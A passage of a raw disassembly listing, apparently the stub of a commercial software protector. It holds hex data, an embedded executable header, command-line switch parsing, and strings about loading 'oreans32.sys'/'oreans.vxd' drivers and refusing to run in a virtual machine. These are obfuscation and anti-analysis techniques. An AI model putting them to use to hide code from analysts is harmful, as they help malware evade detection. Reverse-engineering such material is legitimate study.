347DB5FFh, 95FF07E9h, 7E90A8Dh, 2CBD8589h, 85C607E9h dd 7E92659h, 0DBD46852h, 0B5FFC005h, 7E9347Dh, 0A8D95FFh dd 858907E9h, 7E91D8Dh, 5C5C1EEBh, 49535C2Eh, 5C004543h dd 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh, 454349h dd 7E9C08Bh, 6C000000h, 0EF33EEA7h, 0BD839E33h, 7E918A5h dd 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h, 40FB8h dd 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h dd 7E91Ah, 53501774h, 40FB8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh dd 5BD3FF07h, 0D18B6658h, 8BD38B66h, 12E9C0h, 0F5870000h dd 5529ADDh, 67A8921Eh, 9B6072F2h, 0D812B786h, 265985C6h dd 0F94307E9h, 4E8h, 8E6EFC00h, 8E950BCh, 0CC000000h, 7AC67C8Ch dd 8B442799h, 50042444h, 50525052h, 5A310F52h, 60310F58h dd 0F585A61h, 5AD78B31h, 66008B58h, 89BE4BB9h, 57042444h dd 5ACA8B66h, 2DB58B58h, 0FF07E90Ch, 0E92669B5h, 0BC858D07h dd 0F07E93Ah, 388h, 0D08B6600h, 90F8D0FFh, 7E8h, 736A00h dd 0D5A45A3Fh, 0BE850h, 0F40A0000h, 0F133383Ah, 0B7583948h dd 5A5F59A4h, 481CBA50h, 33905A13h, 0E90E3D95h, 6A006A07h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0FDD0C352h, 80F25D34h, 23B19589h, 6E6807E9h dd 66EF56FDh, 81DFC5BFh, 3122404h, 0BA6610A9h, 95011C78h dd 7E91EA9h, 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 893587C3h, 0E902998Dh, 66006A07h dd 36AF98Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0D7C35343h, 1AA84F34h, 0D3B70F80h, 3155B531h dd 0C6807E9h, 50481850h, 10E852h, 0B2AF0000h, 6FB05F22h dd 18D32FF9h, 95BE8C26h, 6160F759h, 56310F5Ah, 310F5250h dd 5A59585Ah, 24048158h, 77E7AFF4h, 1EC5BD8Bh, 9D8D07E9h dd 7EBD934h, 5050CF8Bh, 895AD18Ah, 6A241Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7B20A3C3h dd 0FABD69F5h, 8B08809Dh, 0E91FE5BDh, 66D0FF07h, 0F57BC781h dd 5F850F40h, 58000002h, 0E960B160h, 0Ah, 9A5C2534h, 60BDBF3Bh dd 0F5615A7Ch, 24048950h, 0F518D8Bh, 6A07E9h, 12880Fh dd 0DE90000h, 0CB000000h, 0C36CFE6Ch, 5CE2237Dh, 35BC0909h dd 18E18D8Bh, 0F76807E9h, 66EFA8DAh, 481F88Bh, 57258924h dd 20F28010h, 0B533036Ah, 7E91D0Dh, 0BF0F006Ah, 0B5036AD0h dd 0B8D16834h, 0CE8B90Ah, 29000000h, 8BD9BFB7h, 0FC2CD996h dd 664BFD51h, 5F7426BFh, 2F240481h, 0F06F547h, 9D8DF7BFh dd 7EBD93Dh, 12E9h, 0C897A000h, 2F76EA3Eh, 5BEAD596h, 8B9E9E3Bh dd 5013D4BDh, 1C89E88Ah, 81665024h, 5F4442CEh, 6160D0FFh dd 0A3850F40h, 81000001h, 4BB4A4F2h, 0CF815803h, 6D1289E6h dd 89B8B550h, 81662404h, 6AE32AE1h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0FB96EDDBh dd 82CDE301h, 800Fh, 4E80000h, 80000000h, 60000000h, 66FB8B66h dd 5061C18Bh, 11E8h, 1F0E9200h, 47497B54h, 4CBF8408h, 46B000DEh dd 0BF66AB27h, 8B5A123Ch, 0F042444h, 386h, 0D18B6600h dd 800F008Bh, 0Eh, 6E8h, 0D1056700h, 8B21A476h, 448959F2h dd 52500424h, 0D68B5250h, 585A310Fh, 0BA60310Fh, 120AFFE1h dd 840Fh, 5A610000h, 0CB8B5858h, 6AF9036Ah, 59952900h dd 6A07E924h, 6E903h, 103D0000h, 86B72A3Fh, 4E8h, 0 dd 0FA8B60C0h, 9F56B866h, 5E535061h, 424448Bh, 12E8h, 0A607B00h dd 37651E4Eh, 0FB46AC5Ah, 0F072E251h, 8BEB4883h, 8B5ECAh dd 0DE9h, 7AC84300h, 0A594280Bh, 0AB9FB2Eh, 448936FDh dd 0CA8B0424h, 6870F58h, 9000000h, 0E92C7185h, 489D8D07h dd 8B07EBD9h, 0E9251D95h, 11E95007h, 0E9000000h, 497C45D0h dd 39B4F842h, 0E26C2FACh, 0AD52B2FFh, 8B241C89h, 35B589CEh dd 0FF07E909h, 0D9B589D0h, 4007E90Eh, 40850Fh, 0D9810000h dd 4173579Eh, 58FE8B66h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0FC35141h, 0E4DF58D1h, 0E1163113h, 598D8BDFh dd 0E907E90Ch, 0E8h, 21658D23h, 0D88B07E9h, 2B018D01h dd 664B07E9h, 58E996B9h, 13E9h, 0BC311900h, 0CEB7629Dh dd 4A4DB230h, 7DD362A1h, 9B3FAB3h, 265985C6h, 8A4307E9h dd 65168F3h, 8E0FC60Bh, 4, 7E69B966h, 0F6243481h, 89067D4Ch dd 0E92A298Dh, 8E807h, 17BB0000h, 9C2574ECh, 81663D3Dh dd 5E5D5FCEh, 2669B5FFh, 860F07E9h, 2, 0BE50D38Bh, 550B4011h dd 0BC858D5Ah, 6A07E93Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 0F7BBC352h, 8B66D0FFh dd 0B15050F1h, 1C89590Eh, 6810F24h, 81000000h, 0D4D2ABC2h dd 80D0FF1Bh, 958B45C1h, 7E9304Dh, 6E159D8Dh, 0BF0F07E9h dd 1B8F7h, 0B58B0000h, 7E91C45h, 0E850E3FFh, 0Ah, 0E81835FAh dd 0EE720825h, 5A594610h, 9509C18Bh, 7E91951h, 958BC08Bh dd 7E90C2Dh, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah, 53501974h dd 0FB8C08Bh, 89000004h, 0E920F585h, 359D8D07h, 0FF07EBD8h dd 83585BD3h, 0E91A45BDh, 17740007h, 0FB85350h, 89000004h dd 0E920F585h, 0D69D8D07h, 0FF07EBD4h, 6A585BD3h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 5A67C356h, 0B90B0D3Ch, 342B2FC8h, 0E8C08BF5h, 0Fh, 23C7ECF8h dd 65C78E2Ch, 0C42E6456h, 8925B92Ch, 0E907B195h, 7E95907h dd 0E0000000h, 0A4A6A2FAh, 0C18107D1h, 6E22h, 1B5ABBh dd 69B58900h, 0FF07E913h, 1DBD8931h, 5A07E92Ah, 7699BE66h dd 4EDAF281h, 0BD0109CFh, 7E911BDh, 1A9DC281h, 0B8664BCEh dd 0F2812FB0h, 0F3E50A0h, 52C6BF0Fh, 8850Fh, 810F0000h dd 2, 18F6160h, 0FDB58B57h, 5807E91Eh, 0E802E983h, 0Fh dd 0C4C7F7F2h, 971EF0B7h, 33DE1126h, 0E8B8A9DFh, 0Fh, 800C9A2Fh dd 0C97D21E1h, 460C40D2h, 8BB604DBh, 0E92E69BDh, 495F5E07h dd 83F08B49h, 850F01EBh, 0FFFFFF7Bh, 3591B58Bh, 0AE807E9h dd 99000000h, 0E96CACE8h, 0F60E0B10h, 0ED8D8939h, 5807E90Dh dd 18AD958Bh, 0C08107E9h, 6ED4h, 22E98D0Bh, 0FF3307E9h dd 472191BAh, 381C8B46h, 8E9h, 0C37BA600h, 764888C2h, 17C381FDh dd 0E96E691Bh, 0Fh, 1FCE6CBBh, 53198014h, 268A80Dh, 81EAF4BAh dd 0B0ACB2EBh, 0D5B58B03h, 8107E930h, 9D353AC3h, 3D9D0905h dd 5307E92Bh, 398D8B60h, 0F07E909h, 8F61C2B7h, 0EEB63804h dd 330BEF81h, 0DFB57DA7h, 3307C781h, 0FF817DA7h, 0FFFF91C8h dd 0FF93850Fh, 840FFFFFh, 3, 0E9F28B66h, 20Eh, 6E614333h dd 20746F6Eh, 74697277h, 726F2065h, 736E6165h, 6478762Eh dd 614D0D0Ah, 7320656Bh, 20657275h, 74616874h, 69687420h dd 69662073h, 6920656Ch, 6F6E2073h, 65622074h, 20676E69h dd 64657375h, 20796220h, 746F6E61h, 20726568h, 676F7270h dd 2E6D6172h, 68h dup(0) dd 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 0EFE90000h, 0C6000000h, 0E9265985h, 86684707h, 0FFE3E45Bh dd 0E92669B5h, 0BC858D07h, 0FF07E93Ah, 10468D0h, 9D8D0000h dd 7E913D1h, 50D0FF53h, 0E2A2B58Dh, 0FE8B07EBh, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 265985C6h dd 684307E9h, 0BC8E6EFCh, 2669B5FFh, 858D07E9h, 7E93ABCh dd 0B58DD0FFh, 7E913D1h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 0E9265985h, 56685707h dd 0FFA69BEEh, 0E92669B5h, 0BC858D07h, 0FF07E93Ah, 99BD8DD0h dd 8D07E90Ah, 0EBE3C88Dh, 57006A07h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 0AAB58D00h, 8D07EBE0h, 0EBD19D85h dd 8DD0FF07h, 0E96E158Dh, 0B807h, 0E1FF0000h, 265985C6h dd 684307E9h, 0C0764AA7h, 2669B5FFh, 858D07E9h, 7E93ABCh dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0 ; --------------------------------------------------------------------------- pop eax add eax, 0Eh mov [eax], ecx jmp loc_5B217D ; --------------------------------------------------------------------------- mov eax, ebx loc_5B217D: ; CODE XREF: sdfs____:005B2176j jmp loc_5B5952 ; --------------------------------------------------------------------------- dw 5A4Dh db 90h align 2 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B5952: ; CODE XREF: sdfs____:loc_5B217Dj jmp loc_5B59F0 ; --------------------------------------------------------------------------- db 2Fh aBugcheck2 db 'bugcheck2',0 aBugcheck db '/bugcheck',0 aForcerun db '/forcerun',0 aBugcheckfull db '/bugcheckfull',0 aShowcode db '/showcode',0 aShowcode2 db '/showcode2',0 aClrt db '/clrt',0 aDis1 db '/dis1',0 aShowinstance db '/showinstance',0 aGetwlstatus db '/getwlstatus',0 aLogstatus db '/logstatus',0 aDumpstatus db '/dumpstatus',0 align 4 dd 2F000000h, 63656863h, 6F72706Bh, 74636574h, 6E6F69h dd 0 ; --------------------------------------------------------------------------- loc_5B59F0: ; CODE XREF: sdfs____:loc_5B5952j cmp dword ptr [ebp+7EC1C1Dh], 0 jz loc_5B5A07 mov dword ptr [ebp+7E91A45h], 1 loc_5B5A07: ; CODE XREF: sdfs____:005B59F7j mov byte ptr [ebp+7E92659h], 47h push 9A7D49E5h xor dword ptr [esp], 0A102568h push dword ptr [ebp+7E92669h] lea eax, [ebp+7E93ABCh] call eax call eax mov edi, eax cmp byte ptr [edi], 22h jnz loc_5B5A57 inc edi mov al, 22h loc_5B5A38: ; CODE XREF: sdfs____:005B5A39j scasb jnz loc_5B5A38 cmp byte ptr [edi], 0 jz loc_5B5D63 inc edi cmp byte ptr [edi], 0 jz loc_5B5D63 jmp loc_5B5A75 ; --------------------------------------------------------------------------- loc_5B5A57: ; CODE XREF: sdfs____:005B5A2Fj ; sdfs____:005B5A70j cmp byte ptr [edi], 0 jz loc_5B5D63 cmp byte ptr [edi], 20h jnz loc_5B5A6F inc edi jmp loc_5B5A75 ; --------------------------------------------------------------------------- loc_5B5A6F: ; CODE XREF: sdfs____:005B5A63j inc edi jmp loc_5B5A57 ; --------------------------------------------------------------------------- loc_5B5A75: ; CODE XREF: sdfs____:005B5A52j ; sdfs____:005B5A6Aj ... cmp byte ptr [edi], 0 jnz loc_5B5A83 jmp loc_5B5D63 ; --------------------------------------------------------------------------- loc_5B5A83: ; CODE XREF: sdfs____:005B5A78j jmp loc_5B5A89 ; --------------------------------------------------------------------------- loc_5B5A88: ; CODE XREF: sdfs____:005B5A8Cj inc edi loc_5B5A89: ; CODE XREF: sdfs____:loc_5B5A83j cmp byte ptr [edi], 20h jz loc_5B5A88 cmp byte ptr [edi], 0 jnz loc_5B5AA0 jmp loc_5B5D63 ; --------------------------------------------------------------------------- loc_5B5AA0: ; CODE XREF: sdfs____:005B5A95j call sub_5B5AAF jmp loc_5B5A75 ; --------------------------------------------------------------------------- jmp loc_5B5D63 ; =============== S U B R O U T I N E ======================================= sub_5B5AAF proc near ; CODE XREF: sdfs____:loc_5B5AA0p lea esi, [ebp+7EC1B9Dh] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5AD8 mov dword ptr [ebp+7E918A5h], 1 retn ; --------------------------------------------------------------------------- loc_5B5AD8: ; CODE XREF: sub_5B5AAF+18j lea esi, [ebp+7EC1BA8h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5B01 mov dword ptr [ebp+7E91A45h], 1 retn ; --------------------------------------------------------------------------- loc_5B5B01: ; CODE XREF: sub_5B5AAF+41j lea esi, [ebp+7EC1C21h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5B2A mov dword ptr [ebp+7E9349Dh], 1 retn ; --------------------------------------------------------------------------- loc_5B5B2A: ; CODE XREF: sub_5B5AAF+6Aj lea esi, [ebp+7EC1BB2h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5B53 mov dword ptr [ebp+7E91A45h], 1 retn ; --------------------------------------------------------------------------- loc_5B5B53: ; CODE XREF: sub_5B5AAF+93j lea esi, [ebp+7EC1BBCh] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5B86 mov dword ptr [ebp+7E91A45h], 1 mov dword ptr [ebp+7E918A5h], 1 retn ; --------------------------------------------------------------------------- loc_5B5B86: ; CODE XREF: sub_5B5AAF+BCj lea esi, [ebp+7EC1BCAh] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5BAE mov dword ptr [ebp+7E9077Dh], 1 loc_5B5BAE: ; CODE XREF: sub_5B5AAF+EFj lea esi, [ebp+7EC1BD4h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5BD6 mov dword ptr [ebp+7E9077Dh], 1 loc_5B5BD6: ; CODE XREF: sub_5B5AAF+117j lea esi, [ebp+7EC1BDFh] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5BFE mov dword ptr [ebp+7E915F5h], 1 loc_5B5BFE: ; CODE XREF: sub_5B5AAF+13Fj lea esi, [ebp+7EC1BE5h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5C26 mov dword ptr [ebp+7E92AB1h], 1 loc_5B5C26: ; CODE XREF: sub_5B5AAF+167j lea esi, [ebp+7EC1BEBh] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5C4E mov dword ptr [ebp+7E93491h], 1 loc_5B5C4E: ; CODE XREF: sub_5B5AAF+18Fj lea esi, [ebp+7EC1BF9h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5C76 mov dword ptr [ebp+7E9198Dh], 1 loc_5B5C76: ; CODE XREF: sub_5B5AAF+1B7j lea esi, [ebp+7EC1C06h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5C9E mov dword ptr [ebp+7E90C01h], 1 loc_5B5C9E: ; CODE XREF: sub_5B5AAF+1DFj lea esi, [ebp+7EC1C11h] call sub_5B5CDF add edi, [ebp+7EC1C32h] cmp dword ptr [ebp+7EC1C32h], 0 jz loc_5B5CC6 mov dword ptr [ebp+7E90F6Dh], 1 loc_5B5CC6: ; CODE XREF: sub_5B5AAF+207j jmp loc_5B5CCC ; --------------------------------------------------------------------------- loc_5B5CCB: ; CODE XREF: sub_5B5AAF+229j inc edi loc_5B5CCC: ; CODE XREF: sub_5B5AAF:loc_5B5CC6j cmp byte ptr [edi], 20h jz locret_5B5CDE cmp byte ptr [edi], 0 jnz loc_5B5CCB locret_5B5CDE: ; CODE XREF: sub_5B5AAF+220j retn sub_5B5AAF endp ; =============== S U B R O U T I N E ======================================= sub_5B5CDF proc near ; CODE XREF: sub_5B5AAF+6p ; sub_5B5AAF+2Fp ... pusha mov ecx, 1 mov ebx, esi jmp loc_5B5D08 ; --------------------------------------------------------------------------- loc_5B5CEC: ; CODE XREF: sub_5B5CDF+34j cmp byte ptr [edi], 0 jnz loc_5B5CF7 sub ecx, ecx loc_5B5CF7: ; CODE XREF: sub_5B5CDF+10j mov dl, [edi] cmp [esi], dl jz loc_5B5D06 mov ecx, 0 loc_5B5D06: ; CODE XREF: sub_5B5CDF+1Cj inc esi inc edi loc_5B5D08: ; CODE XREF: sub_5B5CDF+8j cmp byte ptr [esi], 0 jz loc_5B5D19 or ecx, ecx jnz loc_5B5CEC loc_5B5D19: ; CODE XREF: sub_5B5CDF+2Cj or ecx, ecx jz loc_5B5D42 cmp byte ptr [edi], 0 jz loc_5B5D33 cmp byte ptr [edi], 20h jnz loc_5B5D3D loc_5B5D33: ; CODE XREF: sub_5B5CDF+45j mov ecx, 1 jmp loc_5B5D42 ; --------------------------------------------------------------------------- loc_5B5D3D: ; CODE XREF: sub_5B5CDF+4Ej mov ecx, 0 loc_5B5D42: ; CODE XREF: sub_5B5CDF+3Cj ; sub_5B5CDF+59j or ecx, ecx jz loc_5B5D57 sub esi, ebx mov [ebp+7EC1C32h], esi jmp loc_5B5D61 ; --------------------------------------------------------------------------- loc_5B5D57: ; CODE XREF: sub_5B5CDF+65j mov dword ptr [ebp+7EC1C32h], 0 loc_5B5D61: ; CODE XREF: sub_5B5CDF+73j popa retn sub_5B5CDF endp ; --------------------------------------------------------------------------- loc_5B5D63: ; CODE XREF: sdfs____:005B5A42j ; sdfs____:005B5A4Cj ... mov eax, 0 or eax, eax jz loc_5B5D7A mov dword ptr [ebp+7E9077Dh], 0 loc_5B5D7A: ; CODE XREF: sdfs____:005B5D6Aj mov ecx, eax jmp loc_5B6E38 ; --------------------------------------------------------------------------- db 41h, 44h, 56h dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0) dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0) dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0 dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0) dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h dd 6165726Fh, 3233736Eh, 7379732Eh, 49h dup(0) dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h dd 6172676Fh, 2E6Dh, 59h dup(0) dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0) dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0) dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0) dd 70580000h, 45746F72h, 746E6576h, 0Bh dup(0) dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch dd 0 dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh dd 68742072h, 65207369h, 726F7272h, 0 dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h dd 656E6968h, 70h dup(0) dd 100000h, 1000000h, 0FEFFFF00h, 17Fh, 100h, 24A00h, 1000000h dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h dd 65530000h, 63697672h, 61502065h, 32206B63h, 1Dh dup(0) dd 6F530000h, 61777466h, 575C6572h, 656E69h ; --------------------------------------------------------------------------- loc_5B6E38: ; CODE XREF: sdfs____:005B5D7Cj mov eax, esp mov [ebp+7E93435h], ebx mov [ebp+7E919ADh], eax push 0 push eax call sub_5B6E51 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6E51 proc near ; CODE XREF: sdfs____:005B6E49p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_5B6E51 endp ; --------------------------------------------------------------------------- db 8Ch, 12h, 6Fh ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- inc ebp add eax, 619D0177h add ecx, ebp pop es mov eax, eax push 0 push esi call sub_5B6E7B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6E7B proc near ; CODE XREF: sdfs____:005B6E73p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5B6E7B endp ; --------------------------------------------------------------------------- db 9Dh dd 669453EAh, 8529DF6Fh, 7E91815h, 18A5BD83h, 750007E9h dd 45BD8309h, 7E91Ah, 53501974h, 3DB8C08Bh, 89000004h dd 0E911F985h, 0CE9D8D07h, 0FF07EBD7h, 83585BD3h, 0E91A45BDh dd 17740007h, 3DB85350h, 89000004h, 0E911F985h, 0BD9D8D07h dd 0FF07EBD4h, 0B9585BD3h, 37FD942Fh, 0FAF78166h, 0DABA6609h dd 0B9C08BC2h, 4390890Ah, 66FCC08Bh, 83BB55BAh, 0E918A5BDh dd 9750007h, 1A45BD83h, 740007E9h, 8B535013h, 0B8C0h, 9D8D0000h dd 7EBD670h, 585BD3FFh, 1A45BD83h, 740007E9h, 0B8535011h dd 0 dd 0D5219D8Dh, 0D3FF07EBh, 0AE8585Bh, 0FE000000h, 230F5D8Bh dd 0CA325DF4h, 8A0FEEh, 5F000000h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 19C35545h, 850F5A95h, 2, 0C08B93B1h dd 0D837B966h, 0BD8BC08Bh, 7E9159Dh, 18A5BD83h, 750007E9h dd 45BD8309h, 7E91Ah, 53501374h, 0B8C08Bh, 8D000000h, 0EBD5A29Dh dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501174h, 0B8h, 0EF9D8D00h dd 0FF07EBD4h, 23585BD3h, 0E919D5BDh, 8D2BFC07h, 7E90F69h dd 8D8BC08Bh, 7E923EDh, 8B60C08Bh, 0E926799Dh, 5E907h dd 7A7C0000h, 6108BD57h, 18A5BD83h, 750007E9h, 45BD8309h dd 7E91Ah, 53501374h, 0B8C08Bh, 8D000000h, 0EBD6099Dh dd 5BD3FF07h, 45BD8358h, 7E91Ah, 53501174h, 0B8h, 89D8D00h dd 0FF07EBD5h, 8A585BD3h, 98EA81F1h, 0E91BD9D4h, 6, 74BD6BCAh dd 0C08B45B4h, 0EE953h, 0B78D0000h, 850DDEC3h, 0CC6A15B0h dd 396BD6A5h, 83C08B5Fh, 0E918A5BDh, 9750007h, 1A45BD83h dd 740007E9h, 8B535013h, 0B8C0h, 9D8D0000h, 7EBD53Bh, 585BD3FFh dd 7E58529h, 0DE907E9h, 9000000h, 318A1C1Dh, 8CAE6F4Fh dd 0F3E1E286h, 0BF0FC08Bh, 79D981FFh, 8B64AB40h, 52006AC0h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 8ECAD25Bh, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah dd 53501974h, 0D0B8C08Bh, 89000007h, 0E911F985h, 